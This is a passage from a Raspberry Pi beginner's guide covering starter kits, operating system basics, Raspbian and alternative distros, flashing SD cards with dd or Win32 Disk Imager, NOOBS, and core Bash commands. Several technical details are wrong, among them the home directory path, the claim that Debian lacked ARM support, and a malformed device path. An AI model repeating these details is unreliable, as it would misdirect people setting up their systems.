MAKE: Pi Enclosure
2-port USB wall charger (1A) and USB cable
4GB Class 4 SDHC flash memory card
Deluxe, full-sized breadboard
Mintronics Survival Pack with 60+ components, including voltage regulators, trimpots, LEDs,
pushbuttons, battery snaps, capacitors, diodes, transistors, and resistors
HDMI high-speed cable, 1.5 feet
Deluxe breadboard jumper wires
The previous two Raspberry Pi starter kits are decidedly weighted toward electronics
experimentation. There are also vendors who will sell you kits that include the Pi as well as core
peripherals.
For instance, consider the CanaKit Raspberry Pi Complete Starter Kit ($89.95, http://is.gd/HnsiOJ),
which includes the following parts:
Raspberry Pi Model B
Clear case
Micro USB power supply
Preloaded 4GB SD card
HDMI cable
MCM Electronics (http://is.gd/6cAfs3) offers several different Raspberry Pi kits. Their Raspberry Pi
Enhanced Bundle lists for $79.99 and includes the following:
Raspberry Pi Model B
5V 1A Micro USB power supply
Raspberry Pi case
4GB SD card preloaded with Raspbian (We discuss Raspbian in exhaustive detail in Chapter
4, “Installing and Configuring an Operating System.”)
88-Key USB mini keyboard
USB optical mouse
I mentioned in the previous chapter that you should consider purchasing a case for your Raspberry Pi.
This is important for the following reasons at the least:
Protection against electrostatic discharge (ESD).
Protection against physical damage (remember that the Pi PCB is delicate).
Some of the cases make the Pi look cool!
Although all cases I’ve seen fit both Model A and Model B (after all, both models use the same
PCB), I suggest you purchase cases specific to each model. You’ll find that Model B cases with
Model A hardware create big gaps into which dust and other detritus can easily reach the delicate
inner components.
Also as I said in the last chapter, be sure to select a case that gives easy access to the GPIO pins (and
potentially the CSI camera interface) from outside the case. You want to provide yourself with as
much flexibility as possible with your Pi.
Next Steps
If you’ve been reading this book sequentially thus far (and I sincerely hope you have), you should
have a crystal-clear picture of what is necessary to get started with Raspberry Pi development.
You’ve heard the age-old adage, “You’ve got to learn to crawl before you can walk.” Well, what this
means for our purposes is that you need to learn how to write computer programs before you can link
your Pi to an expansion board and start to perform meaningful work. Before we even get to writing
code with Scratch and Python, you need to get comfortable with Linux. That’s the subject we tackle in
Chapter 4.
Part II: Software Foundations
Chapter 4. Installing and Configuring an Operating System
The operating system (also called the OS, pronounced oh-ess) is the most important software on your
computer because it represents the interface between you, running software programs, and the
machine’s underlying hardware.
To put this discussion in a more meaningful context, let’s say that you want to send an email message
from your computer or mobile device. You compose and send your message by using a web browser
or a dedicated email application. The computer’s operating system translates your keystrokes and
mouse movements into instructions that are understood by your application.
When you click Send, the OS then conducts the message through a number of subsystems, including
translating your message data into an intermediate format that your computer’s network interface card
(NIC) device driver software can process.
The NIC driver and the networking protocol stack further segments the email message and ultimately
transmits binary digital data in the form of 0s and 1s across the network communications media
through the NIC hardware.
Figure 4.1 shows the conceptual relationship between the user, the application, the operating system,
the device driver, and the device itself.
FIGURE 4.1 The operating system orchestrates data flow between the user, applications, device
drivers, and the underlying computer hardware.
Let me briefly explain the layers shown in Figure 4.1:
OS: The operating system orchestrates the communication among all the other layers.
User: The computer operator provides input to and received output from the computer.
Application: The program or application enables the user, operating system, and hardware to
get work done.
Drivers: Each hardware device needs platform-specific software that enables the OS to
interact with it. In Linux, the OS kernel often integrates device drivers into its code.
Hardware: Hardware can be either permanently part of the computer (like a motherboard) or
an attached peripheral (like a mouse).
Like any other computer, the Raspberry Pi includes an operating system as well. Therefore, the OS
skills that you’ll pick up in this chapter are abilities that you will apply every single day in your work
with the Pi. In later chapters we’ll apply your Linux operating system skills as we undertake various
Pi-related projects.
Common Operating Systems
Truly, operating systems are not at all voodoo magic, although their underlying structure can
sometimes get complicated. The bottom line is that any end user of a computer system interacts with
an operating system of one type or another.
For instance, a Mac user deals with the Apple OS X (pronounced oh ess TEN, not oh ess EX)
operating system. A PC user generally uses a version of the Microsoft Windows operating system—
for example, Windows 8 or Windows 7. Mobile device users might run one of the following
operating systems, depending on the make and model of their mobile hardware:
Apple iOS
BlackBerry
Google Android
Windows Phone
Windows RT
You might know already that the Raspberry Pi runs none of these. What’s going on here? Well, as it
happens, the RasPi uses a particular distribution of Linux.
Understanding Linux
Linux (LIH-nix) is an open source operating system originally developed by the Finnish computer
scientist Linus Torvalds (LEE-nus TUR-valds) in 1991. Linux was built from the ground up as a free
operating system that any interested party could tinker with, improve upon, and re-release under the
GPL license (discussed back in Chapter 1, “What Is the Raspberry Pi?”).
At some point you might have heard a nightmare story or two about how difficult it is to use. There
was a time when the only people who would touch Linux were computer science nerds or grizzled
government employees. Believe me, friends: Linux has gotten much more user-friendly over the past
10 years or so.
Thanks to Linux vendors like Red Hat and Canonical, Linux has become much more mainstream, often
to the chagrin of the original Linux fanatics who prefer a less corporate, structured approach to OS
development and distribution. In point of fact, Canonical’s Ubuntu Linux, in its 12.10 version, bears a
striking resemblance to Apple OS X (see Figure 4.2).
FIGURE 4.2 Apple OS X above, and Ubuntu Linux below.
The OS X and Ubuntu Linux user interfaces are quite similar indeed. As you will learn pretty soon if
you haven’t already, I’m a big believer in using (brief) unordered lists to teach concepts. Allow me to
summarize what I see as the chief advantages of Linux:
Generally more secure than proprietary OS software such as Windows and OS X because the
community quickly squashes bugs and vulnerabilities.
Gives the operator control of every aspect of OS operation, right down to the bare kernel level.
The OS and most available software are free.
You can do the vast majority of stuff in Linux that you are accustomed to doing in Windows or
OS X.
In addition to these factors, it’s also true that people who write malicious software tend to target the
most popular operating systems simply because there are more available targets. Consequently, the
relatively “niche” status of Linux in the consumer/enthusiast environment gives the platform a security
advantage over mainstream OSs.
Note: But What About Office?
Long-time Linux users typically gravitate toward OpenOffice (http://is.gd/AxqDKr) or
LibreOffice (http://is.gd/ORAFcy) as open source (and therefore free) alternatives to the
proprietary Microsoft Office productivity suite.
As Bret Michaels sang in the 1980s, “Every rose has its thorn....” Here are what I see as the essential
disadvantages of Linux:
To access the raw power of Linux, you must learn how to use the command line, which
involves a number of highly cryptic command-line tools.
The graphical user interface in Linux is generally not as polished or intuitive as, say, Windows
7 or OS X.
Configuring driver support for new hardware is sometimes problematic to Linux beginners due
to the common requirement of manual driver installation and configuration.
You can run Windows or OS X apps under Linux; however, doing so is not considered to be a
beginner-level task. In general, the variety of software that is available to Linux is far less than
what is available to, say, Windows or OS X.
Despite the challenges that running Linux has for us, I submit that Linux is truly the ideal operating
system platform for the Raspberry Pi. Remember that the Pi is intended as a learning environment—
what better way to discover the relationship between an OS and hardware than in an open-source
situation where the underlying source code and hardware schematics are freely available to you?
Also, as we’ll see momentarily, you have quite a bit of flexibility in terms of which Linux distribution
you might prefer to run on our Pi.
Linux and Raspberry Pi
Remember when I said earlier that Linus Torvalds gave us Linux as a platform for community
development? We call those Linux variations, those that come from the development community,
remixed or forked distributions.
The Raspberry Pi Foundation put together an official Linux distribution that is optimized for
Raspberry Pi; this distribution is called Raspbian (RASS-pian). The name Raspbian bears a bit of an
explanation. Raspbian is a portmanteau, which is a mash up of two or more words derived from two
separate technologies:
Raspberry Pi: The $25/$35 computer upon which this book is based
Debian: The Linux distribution used as a base for Raspbian (http://is.gd/lgF8Ft)
Personally, I’m overjoyed that the Foundation used Debian as a base Linux for the Pi. Number one,
Debian includes one of the most powerful and flexible package managers in the industry (more on that
in the next couple chapters). The Raspbian user interface is shown in Figure 4.3.
FIGURE 4.3 The Raspbian Linux distribution includes the LXDE graphical user interface (GUI).
Number two, Debian is one of the more user-friendly Linux distros in existence. As a matter of fact,
Ubuntu Linux is also based on Debian.
But can we go ahead and install the “real” Debian or Ubuntu on the Pi? Unfortunately, no—at least
not without some major kernel hacking. Remember that the Pi board uses an ARM CPU. Most desktop
computers today, at least in the retail space, use the Intel processor. As of this writing in spring 2013,
neither Debian nor Ubuntu Linux supports the ARM processing architecture.
The Kernel and Firmware
If the operating system constitutes the software “body” of a computer system, then the kernel
represents the brain. Specifically, the kernel is the OS subcomponent that functions most intimately
with installed hardware devices.
What’s cool about Linux is that you can customize and recompile the kernel to suit different situations.
For instance, the Raspberry Pi Foundation modified the Debian Linux kernel to accommodate the
ARM processor and other components included on the Pi board.
The Linux kernel is called firmware because it is software that is semi-permanently written to the
first partition of your Raspbian SD card. I say semi-permanently because the firmware data persists
after you power down the computer. However, you can update the firmware to a more recent version
if need be.
We can contrast data that is stored on the SD card with data that is stored in random access memory,
or RAM. RAM-based data persists only as long as the Pi is powered up; unless you save RAM
contents to the SD card, that data is permanently lost if the Pi is turned off or rebooted.
Raspberry Pi uses its own custom-built firmware that “blends” the proprietary Broadcom BCM2835
system on a chip (SoC) with the Raspbian operating system. In point of fact, the BCM2835 SoC
actually has two sets of firmware flashed onto the SD card. The first is responsible for managing the
hardware resources on the Pi, and the second is charged with controlling the behavior of the Pi’s
graphical processing unit (GPU).
Note: I’m Floating!
The original Raspbian code was not optimized in the kernel to process floating-point
(decimal) numbers in hardware. This “soft float ABI (application binary interface)”
situation, which involves emulating math co-processing in software, bothered experienced
Linux users who wanted to use the Pi to perform more complex math. Fortunately, the
current versions of Raspbian now contain a “hard float” ABI, which means that instructions
for processing floating-point numbers are performed in hardware using the math co-
processor chip. Needless to say, hard float is orders of magnitude faster than soft float.
Updating the Raspberry Pi kernel firmware is covered in the next chapter.
Raspberry Pi’s Other Operating Systems
Keeping in spirit with the “do it yourself” philosophy of Linux, you can run a number of specially
crafted Linux distros on the Pi. Raspbian is considered to be the reference operating system because
it was built from the ground up for learning software and hardware programming with the Pi board.
However, alternatives exist that are optimized for other uses. Let’s take a brief look at a few of them:
Arch Linux ARM (http://is.gd/6EJlou): This distro is an ARM-specific branch of the Arch
Linux OS that is aimed at experienced Linux users. Its structure is lightweight and is intended to
provide the user with as much control as possible.
Fedora Remix (http://is.gd/Nj0Iys): This distro is an ARM port of the highly successful
Fedora Linux OS. In particular, check out the Pidora distribution (http://is.gd/2TfKjx). Many
Linux users swear by Fedora, so its ability to run on the Raspberry Pi pleases many enthusiasts.
Occidentalis (http://is.gd/t79m03): This distro, pronounced ocks-ih-den-TAIL-is, was
developed by Adafruit and includes lots of OS “extras” to make hardware hacking easier.
Adafruit is one of the best Raspberry Pi education sites out there; they sell extension hardware
and provide detailed instructions on how to use it with your Pi.
OpenELEC (http://is.gd/KpaeqS): This distro, pronounced open ee-LECK, has a single aim
—to run the Xbox Media Center (XBMC) as efficiently as possible. OpenELEC and XBMC ar
discussed in great detail in Chapter 12, “Raspberry Pi Media Center.”
RaspBMC (http://is.gd/KyBKzy): This distro is like OpenELEC inasmuch as it is intended
only to run Media Center software on the Pi.
RISC OS (http://is.gd/6EJlou): This distro, pronounced risk oh ess, was developed by
Acorn, who you’ll remember is the manufacturer of the BBC Micro microcomputer, the
Raspberry Pi’s inspiration.
Of these alternative Linux distros for the Raspberry Pi, I personally like Occidentalis the best
because the environment is optimized for use with the Adafruit Learning System (http://is.gd/efFtD7).
Be sure to visit and bookmark the Adafruit website; they offer almost every conceivable Raspberry Pi
hardware add-on. Figure 4.4 shows the Occidentalis user interface.
FIGURE 4.4 Adafruit’s Occidentalis Linux distribution, which includes plenty of hardware
hacking tools.
Please note that the Raspberry Pi-compatible operating systems suggested here represent only part of
what’s available. Check out the RPi Distributions page at the Embedded Linux Wiki
(http://is.gd/3yHQZ2) for a more complete rundown.
Installing Raspbian on Your Raspberry Pi
My first computer, the Tandy TRS-80 Model III, and the Commodore 64 had no persistent, onboard
storage. That is to say, anything you wanted to save permanently, such as a BASIC program that took
12 hours to type in, had to be saved to some external media to survive a system shutdown or restart.
It was a great day in the early 1990s when Intel-based personal computers began shipping with fixed
internal hard drives! Suddenly you could boot an operating system, load programs, and save data to
your heart’s content, free of the worry of losing all of your work when you turned off the computer!
Believe it or not, the Raspberry Pi board also does not contain an internal disk drive to boot the OS
and save user data. Instead, the Foundation included an SD card slot.
If you read Chapter 3, “A Tour of Raspberry Pi Peripheral Devices,” you have all the information you
need to purchase your SD card. I formally suggest you stay with the Standard SD card form factor
(see Figure 4.5), but you can make use of the Mini or Micro cards with the appropriate adapters.
FIGURE 4.5 You can learn much about an SD card by studying its sticker label. Here we can see
the brand, capacity, and speed rating in a single glance.
Building a Raspbian SD card is not as easy as copying a bunch of files from a folder on your PC or
Mac to the SD card. Instead, you download a binary OS image file and flash that image onto your SD
card in one pass.
Note: What Type of SD Card Should I Use?
I suggest you purchase a name-brand SD card of at least 4GB capacity. Moreover, I
recommend that the SD card speed be rated at Class 4 or higher. You can visit the
Embedded Linux website (http://is.gd/Ym6on0) to view a comprehensive compatibility
index of Raspberry Pi-compatible SD cards.
You’ll need the following ingredients to create a Raspbian OS image SD card:
PC or Mac computer
SD card reader (some computers include these in the case)
SD image burning tool or command-line equivalent
Official Raspbian OS image (http://is.gd/6EJlou)
The following sections take you through the process of setting up an SD card with Raspbian.
Task: Creating a Raspbian SD Card in Windows
Win32 Disk Imager, which you can get from http://is.gd/UkTdSW, is the recommended
tool for building a Raspbian OS image SD card in Microsoft Windows. To begin, you’ll
need to download both it and your Raspbian distro. When those are in hand, follow this
procedure:
1. Plug your SD card into your Windows computer and make a note of which drive letter
Windows assigns to the device. It does not matter if there is any data already stored on
the card—it will be overwritten (be careful!).
2. Use Windows Explorer or a ZIP file management utility (I like the free 7Zip from
http://is.gd/oOJvG8) to unpack both the Raspbian OS image and Win32 Disk Imager.
3. Fire up Win32 Disk Imager. You’ll note that all you have to do is unzip the package and
run the executable program file—there is no installation.
4. Click the Browse button (marked 1 in Figure 4.6) and locate the Raspbian .img file that
you downloaded from the Raspberry Pi Foundation website.
FIGURE 4.6 The open source Win32 Disk Imager is perhaps the best SD card flashing
utility for the Windows OS.
5. Open the drop-down list (marked 2 in Figure 4.6) and specify the drive letter that is
associated with your mounted SD card. Again, be careful to ensure that you have the
correct drive letter selected.
6. Click Write (marked 3 in Figure 4.6) to flash the card.
7. Close Win32 Disk Imager and eject your SD card. You’re finished!
Task: Creating a Raspbian SD Card in OS X
For OS X computers, we can use either the dd Terminal shell program or a graphical
utility. In my experience, GUI SD flashing tools for OS X work sporadically if at all.
Therefore, we shall use the tried-and-true command-line technique.
GUI-based Install Tools
For those who are interested (and brave), here are a couple GUI tools that
theoretically can be used to flash Raspberry Pi OS images to SD cards:
RPi-sd card buider (http://is.gd/AJTQfM)
Pi Filler (http://is.gd/8WplZ7)
1. Download your Raspbian OS image to your Mac, and double-click the ZIP file to extract
the underlying .img file.
2. Plug your SD card into your Mac computer and start Terminal. The easiest way to do this
is to open Spotlight, type terminal, and press Enter (see Figure 4.7).
FIGURE 4.7 Spotlight provides you with an ultra-fast way to locate and run programs on
your Mac.
3. From the Terminal prompt, type diskutil list. This command shows you all of the fixed
and removable disk drives you have available on your Mac. Make a note of the device
path for your SD card. For instance, you can see in Figure 4.8 that my brand-new 4.0 GB
SD card is addressed as disk2.
FIGURE 4.8 Flashing a Raspbian OS image to an SD card in OS X. The relevant commands
are highlighted in yellow.
If your SD card has been used before, there may already be one or more partitions
defined on the card; they should be addressed as disk2s1, disk2s2, and so forth. It’s
important to note that we want to flash the entire contents of the card and not an individual
partition.
4. Take the SD card offline by issuing the command diskutil unmountdisk /dev/diskN,
where N is your SD card’s device ID. As shown by 1 in Figure 4.8, my SD card is called
disk2.
5. Navigate to the folder that contains your Raspbian OS image. Because I stored my .img
file in my Downloads folder, I used the command cd Downloads to switch from my home
directory to the Downloads directory. You then can specify the input file path of the dd
command by using only the file name instead of with a full path.
6. Use the dd command to flash the Raspbian OS image to the SD card. Here is the
statement:
Click here to view code image
sudo dd if=image_file_name.img of=/dev/diskXsY bs=2M
And here’s a breakdown of each command in the statement:
sudo: This command instructs the computer that you want to issue this command with
administrator privileges. Your OS X user account has to be an administrator to complete
this task.
dd: This command, which officially stands for “Data Description” and unofficially stands
for “Data Destroyer,” is used to flash binary images to removable media.
if: This command specifies the path to the input file. In this case, it is the Raspbian OS
image.
of: This command specifies the path to the output, which in this case is the SD card’s
target partition.
bs: This command stands for block size, and larger values write more data chunks to the
SD card in less time, but you are more likely to have errors. Best practice states that two
megabytes (2MB) is a good compromise between speed and accuracy.
After the image flash completes, you’ll see a confirmation message and get your command
prompt back. You’re finished!
Task: Creating a Raspbian SD Card in Linux
Remember that Apple OS X has a core in Unix and that Unix formed the basis for all
Linux distributions. Consequently, we can make use of the trusty dd command to flash our
Raspbian image to our SD card in Linux. Here are the steps (note: I use Ubuntu Linux 12.10
as my reference desktop Linux distribution throughout this book):
1. Download the latest Raspbian OS image from the Raspberry Pi Foundation website. You
can double-click the ZIP file to extract the .img file inside. Make a note of the location of
the file.
2. Open up Terminal; in Ubuntu this is accomplished by clicking the Dash icon, typing
terminal, and pressing Enter (see Figure 4.9).
FIGURE 4.9 The Dash in Ubuntu 12.10 functions identically to Spotlight in OS X.
As you can probably tell, the Unity user interface in Ubuntu 12.10 takes some getting
used to. When you click the Dash icon on the quick launch bar, a prompt window appears
in which you can simply start typing for the program, document, or setting you want to find.
Almost immediately you’ll see local and Internet-based results for your search query. In
Figure 4.9, you can see that typing terminal brings back the built-in Terminal application as
the first result.
As with the OS X flashing procedure earlier, the full input and output for the Linux
process in is shown in Figure 4.10. Again, the commands are highlighted for your easier
reference.
FIGURE 4.10 Flashing a Raspbian OS image to an SD card in Ubuntu Linux.
3. Plug in your SD card and wait a couple of minutes for Linux to detect your card. Next,
run the command fdisk -l from a Terminal prompt. This step and the rest of the procedure
is highlighted in Figure 4.10.
In the screenshot note the reference to the device path /dev/sdb1. In Linux, hard drives
and removable media are mounted as file system paths.
Caution: Be Careful!
I can’t stress this enough: The dd command is extremely powerful, and if you don’t
watch which drive path you point it at, you could easily erase your boot drive and
your valuable data!
4. Run the following statement:
Click here to view code image
sudo dd if=image_file_name.img of=/dev/disksdX bs=2M
Here is a breakdown of the syntax:
sudo: Run the dd command under administrative privilege.
dd: This command actually performs the OS flash.
if: Here you specify the full or relative path to the OS image. In Figure 4.10, you see that
the cd command is used to switch to the directory that contains the Wheezy OS image file.
of: This command specifies the path to the output. This is important: Note in Figure 4.10
that /dev/sdb is specified as the target, not /dev/sdb1. You don’t want to flash a specific
partition on the disk—you want to flash the image onto the entire SD card.
bs: This stands for block size, and larger values write more data “chunks” to the SD card
in less time, but you are more likely to have errors. Two megabytes (2MB) is a good
compromise between speed and accuracy. And yes, the syntax specifies M instead of MB
for the block size value.
5. Run fdisk -l again and look at your /dev/sdb entries. You’ll see that Raspbian creates
two partitions on the SD card. One partition is a File Allocation Table (FAT) Windows-
compatible partition. The other is much bigger and is a Linux partition.
An All-in-One Solution
Because the process of installing an operating system to the Raspberry Pi can be so tedious and scary
for computing newcomers, some developers have taken it upon themselves to build tools to lessen
this learning curve.
Take the New Out Of Box Software (NOOBS) project (http://is.gd/0n2yZv), for example. This is a
tiny boot loader that makes installing an OS on your Raspberry Pi a breeze.
As you can see in Figure 4.11, the NOOBS user interface presents a simple menu from which a user
can install any of the following Pi-tailored operating systems:
Arch Linux
OpenELEC
Pidora
RaspBMC
Raspbian
RiscOS
FIGURE 4.11 The NOOBS utility makes it much easier to load an OS on your Raspberry Pi.
After you’ve used NOOBS to install an OS on your Pi, the boot loader remains resident on your SD
card such that you can reinvoke it at any time by holding down the Shift key during bootup.
Task: Installing an OS on Your Raspberry Pi Using NOOBS
The procedure of setting up a NOOBS SD card differs a bit from the process we’ve
used thus far in flashing an OS to the card.
1. Download the SD Card Association’s formatting tool, SD Formatter
(http://is.gd/IFMlmc), install the software, and use it to format your SD card. Remember
to use an SD card of at least 4GB capacity.
The SD Formatter utility formats the SD card such that we can interact with the drive
directly in Windows or OS X.
2. Download NOOBS (http://is.gd/6EJlou) and extract the contents to the root level of your
newly formatted SD card. Note that we aren’t flashing a binary image to SD like we’ve
done previously in this chapter.
To repeat: We are manually copying the NOOBS file contents directly to the SD card.
3. Insert your newly prepared SD card into the Pi and boot it up.
4. When the Pi Recovery window appears, select your desired operating system and click
Install OS.
When the OS installation completes, the Pi reboots and automatically loads the chosen
OS. You’re done!
If nothing else, NOOBS provides a quick, convenient, and easy way to test out a number of different
OSs on the Pi to help you find your “comfort zone.”
Testing Your New Raspbian Image
The best way to verify that your newly created Raspbian image works correctly is to insert it
(carefully) into the SD slot on your Pi’s circuit board and plug the Raspberry Pi into your power
supply. You’ll also want to plug in a keyboard, mouse, and monitor/TV, as discussed in Chapter 2,
“Hardware Components Quick Start.”
If all goes well, you’ll see the Raspi-Config interface as shown in Figure 4.12.
FIGURE 4.12 First-time Raspberry Pi setup is accomplished by using the Raspi-Config script.
If for some reason the Raspberry Pi doesn’t boot directly into Raspi-Config, then simply issue the
command sudo raspi-config from the Terminal prompt.
You learn the details of Raspberry Pi first-time configuration next in Chapter 5, “Debian Linux
Fundamentals—Terminal.”
Chapter 5. Debian Linux Fundamentals—Terminal
In general, people tend to be afraid of the Linux operating system. In my experience, the following
represent the most common complaints:
Linux is at least partially command line, and that is intimidating.
Linux uses all these wacky commands with strange syntax.
Even the Linux graphical environments are nothing like what we are used to with Windows or
OS X.
Certainly there is some truth to these concerns. Until a few years ago, Linux was in fact a seemingly
impenetrable operating system to all but the most propeller-headed of computer geeks. However, the
twenty-first century brought with it Linux distributions like Ubuntu and Raspbian, which are aimed at
the ordinary computer user.
Sure, you need to learn some funky command-line syntax in order to get around Debian Linux on your
Raspberry Pi. Nevertheless, I believe that you’ll be much better off for it. You might even find
yourself turning to the command line in Windows and OS X when you see how much quicker you can
get work done via the keyboard.
Baby Steps
Before you can begin using the Debian Linux command line, you need to arrive at a command prompt
on your Raspberry Pi. If you connect directly to your Pi (that is to say, by using a monitor, keyboard,
and mouse), you should land at a command prompt by default.
You’ll be required to log into your Raspberry Pi: The default username is pi, and the default
password is raspberry. Press Enter after inputting each part of your logon.
Note: On Case Sensitivity
Raspbian, like all Linux distributions, is case-sensitive. You might already be
accustomed to the fact that passwords are case-sensitive, but it may take some getting used
to things like having two files named File.txt and file.txt co-existing in the same directory!
If you connect to your Pi remotely using SSH or VNC (procedures covered fully in Chapter 7,
“Networking Raspberry Pi”), you must establish that remote connection before accessing the Debian
command prompt.
Finally, if you booted your Pi into the LXDE graphical environment, you can open a command prompt
(formally called the Terminal) by double-clicking the LXTerminal icon on the Desktop. This is
shown in Figure 5.1.
FIGURE 5.1 You can start a Terminal session from within the LXDE desktop environment.
Regardless of you how you get to the Raspbian command prompt, the end result is the same; namely,
you see an input area that looks like the following:
pi@raspberrypi ~ $
The command prompt itself actually yields highly valuable system information. Let me break it down
for you element by element:
pi: This is the name of the default Raspbian user account.
@: This denotes the link between the currently logged on user and the computer name.
raspberrypi: This is the default hostname (computer name) for your Raspberry Pi.
~: This denotes your current location in the Debian filesystem. The tilde (~) represents a
shortcut representation of the user’s home directory, which has the full path /users/raspberrypi
in Raspbian.
$: The dollar sign denotes a nonadministrative user account. By contrast, when you switch your
user identity to the root (superuser) account, the prompt changes to the octothorpe (#)
character.
Note: On Naming Conventions
You’ll notice that in this chapter I use the terms Debian and Raspbian interchangeably.
Don’t be confused! Everything you learn in this chapter works 100% in any distribution of
Debian Linux. Therefore, it doesn’t matter whether you are testing these procedures in
Raspbian, Debian, Ubuntu, or another Debian-derived Linux distribution.
Linux provides the operator full control over the environment. To that end, you can customize the
format of the command prompt in myriad ways. If you’d like more information on this, please read
this post from the Lindesk blog: http://is.gd/xFxt2f.
The Linux command-line interface (CLI, pronounced see-ehl-eye) is what is called a command shell,
or simply shell. Specifically, Debian employs the Bourne Again Shell (Bash) by default. As with
anything and everything else in Linux, you can swap out the Bash shell for another more to your liking.
For our purposes in this book, I stick to Bash.
Essential Terminal Commands
When you are logged into a Raspbian Terminal, where can you go from there? Before we go any
further, I want to provide you with the core Terminal commands that you should know in Raspbian
(Debian) Linux.
Having these commands in your tool belt immunizes you against getting “stuck” with your Raspberry
Pi. A good example of this is the common newcomer situation of not knowing how to go from the
Bash shell to the LXDE graphical environment (and vice versa).
startx
Many Raspberry Pi enthusiasts don’t want to mess with the command shell any more than they
absolutely have to, instead preferring to work in the GUI environment. To jump from the command
line to the GUI, simply type startx and press Enter.
When you are in the LXDE GUI environment, you can open the LXTerminal application as previously
mentioned to spawn a new command-line Bash session. If you want to unload the GUI and return to a
fully character-based interface, simply click the Logout button in the bottom-right corner of the LXDE
Desktop. Next, in the message box that appears, click Logout (see Figure 5.2).
FIGURE 5.2 You can easily return to a full-screen Bash prompt by using the Logout command in
LXDE.
pwd
The present working directory (pwd) command answers the question “Exactly where am I in the
Raspbian file system?”
I suppose it would be helpful to provide a brief description of the Linux file system. Your Raspberry
Pi hard drive is represented as a hierarchical tree of directories (folders) and files. The top level of
the file system is denoted with a slash (/) character.
Beneath the root are a bunch of standard directories, some of which are more important to the end
user than others. Here’s a quick breakdown:
bin: Essential programs
boot: Boot loader programs (that is, files necessary to boot the Pi)
dev: Hardware device drivers and information
etc (pronounced etsy or ee-tee-see): System-wide configuration files
home: Users’ home directories (personal settings, data files, and so forth)
lib (pronounced lihb): Code libraries that are used by the system programs in /bin and /sbin
lost+found: File fragments picked up by file system repair tools like fsck
media: Mount points for removable media (DVDs, flash drives, USB portable drives)
mnt: Temporarily mounted file systems
opt: Optional application software packages
proc (pronounced prock): Dynamically changing system status information
root: Home directory for the root user account
run: Supplemental runtime data stored by installed applications
sbin (pronounced ess-bin): Executable program files that are reserved for administrative use
selinux: Working directory for Security Enhanced Linux, a security enhancement toolset
srv: Temporary storage for some services such as File Transfer Protocol (FTP)
sys: Stores Linux operating system files
tmp: Temporary files that are purged during every system reboot
usr (pronounced user or you-ess-arr): Read-only user data; multiuser utilities and applications
var: (pronounced vahr). Variable data whose values change over time (logs, spool files,
temporary files, and so forth)
Note: Watch Your Pronunciation!
The main reasons I offer you pronunciations for many of these Linux-oriented terms is
because (a) The acronyms are often difficult to pronounce at any rate; (b) Some Linux
power users get awfully persnickety about correct pronunciations; and (c) I want to equip
you with all the tools, physical, logical, and verbal, to become a proficient Linux user.
ls
After you’ve figured out where you “live” in the Raspbian file system, you probably want to see the
contents of that present working directory. That’s what the ls command does; it runs a directory
listing.
In my experience, ls will be one of your most frequently used commands. After all, you need some
mechanism of visualizing directory contents from a command prompt.
Terminal commands often employ switches or parameters to customize how the command works. For
instance, try running the following:
ls -la
This changes the output quite a bit, doesn’t it? Take a look at Figure 5.2 to see the command output on
my Pi. The l switch gives you a columnar (or long; hence the l) listing. The a switch shows all files,
even hidden and system files.
You can even run directory listings for other directories on your Linux system (or, for that matter,
attached storage devices). You simply append the relevant directory path to the ls command. For
instance, check out the following example, the output for which is shown in Figure 5.3.
ls -la /usr/bin
FIGURE 5.3 The ls command will be one of your most frequently-run Linux Terminal commands.
The previous command shows you the contents of the /usr/bin directory no matter what your present
working directory might be.
cd
The cd, or change directory, command is used to navigate the Linux file system from a command
prompt.
If you know your destination ahead of time, simply supply the full path:
Click here to view code image
cd /Users/raspberrypi/Downloads
You can also use relative paths, which are partial file/directory paths that are built on the present
working directory location.
For instance, type cd with no additional arguments to quickly return to your home directory. Then try
the following:
cd Downloads
Be sure not to include a leading slash (/) before Downloads and remember that Downloads is case-
sensitive.
Tip: Tab Completion
As you type commands, paths, and file/program names in Raspbian, try hitting TAB to
see if the Linux autocompletion feature is attractive to you. Believe me, tab completion
comes in handy when you need to type in super-long and super-cryptic file names!
From the ~/Downloads folder, type the following to move up one level from your present working
directory:
cd ..
Make sure to put a space between the cd and the two periods. Also, the tilde (~) character is a
shortcut representation of the currently logged-on user’s home directory path. Thus, for the Pi user the
following paths can be used:
Click here to view code image
cd ~/Downloads
cd /Users/raspberrypi/Downloads
Don’t be ashamed to run the pwd command frequently as you cd your way throughout the Raspbian
(Debian) Linux file system. It’s easy to get lost even if you do have an informative command prompt
configured!
sudo
The sudo (pronounced sue-doo) command is one of the most important commands for you to know,
not only for Raspbian, but for any Linux or Unix operating system (and that includes Apple OS X).
It is widely (and correctly) considered to be a security problem to actually run Linux under the
context of the root (superuser) account; therefore, while remaining under standard account privileges,
you can use sudo to temporarily elevate them and run administrative-level commands while remaining
under standard account privilege otherwise.
To use sudo, you simply prepend the word before the command you want to run. The following
example opens the hosts system configuration file in the nano editor as root:
sudo nano /etc/hosts
Historically, sudo as a command name is a portmanteau (word mashup) of two other words:
su: This is a Linux command that means substitute user and is used to change the current user
account associated with the current Terminal session.
do: This is nothing more than a reference to the verb do, which means to perform a particular
action.
passwd
You use the passwd command to change the password for a user account. To change the default pi
account password, issue the following Terminal command:
sudo passwd pi
You’ll be asked to (1) authenticate with the current password; (2) define a new password; and (3)
confirm said password.
If you have root privileges on the computer (which the pi account does by default), you can change the
password for any user on the system as well.
Note: Becoming Root
You can customize which Raspbian user accounts can employ the sudo command by
making or editing entries in the /etc/sudoers system configuration file.
Note: Taking the Next Step(s) with Linux
Although I do my best in this book to give Linux newcomers what they need to become
at least moderately proficient users, there is only so much space to work with. Therefore, I
suggest you pick up a good book on Linux end user fundamentals (such as A Practical
Guide to Linux Commands, Editors, and Shell Programming, 3rd Edition, by my Pearson
colleague Mark Sobell: http://is.gd/NWMLHz).
nano
Linux distributions generally include several different text editors, although some long-time Linux
users will balk at my suggesting nano (pronounced NAH-noh) instead of vi (pronounced vee-eye or
vie).
Note: Linux Humor
Linux program names often have colorful and/or ironic histories. For our purposes,
nano is a recursive acronym for Nano’s ANOther Editor. Historically, nano is a more user-
friendly successor to an ancient Linux email client application named pico (pronounced
pee-koh).
To open an existing file (such as /etc/hosts), run the following command:
sudo nano /etc/hosts
If you want read/write access to system configuration files like hosts, you should always prepend
your nano command with sudo.
You can create a new, blank text file by running nano with the name of your new, as-yet-uncreated
file. For instance, the following command creates a new file named test.txt in the present working
directory and opens the document for editing in nano:
sudo nano test.txt
One thing I like about nano is that the primary interface commands appear in the footer of the user
interface (see Figure 5.4).
FIGURE 5.4 The nano text editor’s user interface includes onscreen navigation help.
In a nutshell, you use the arrow keys to navigate and the Control key to issue shortcuts. The most
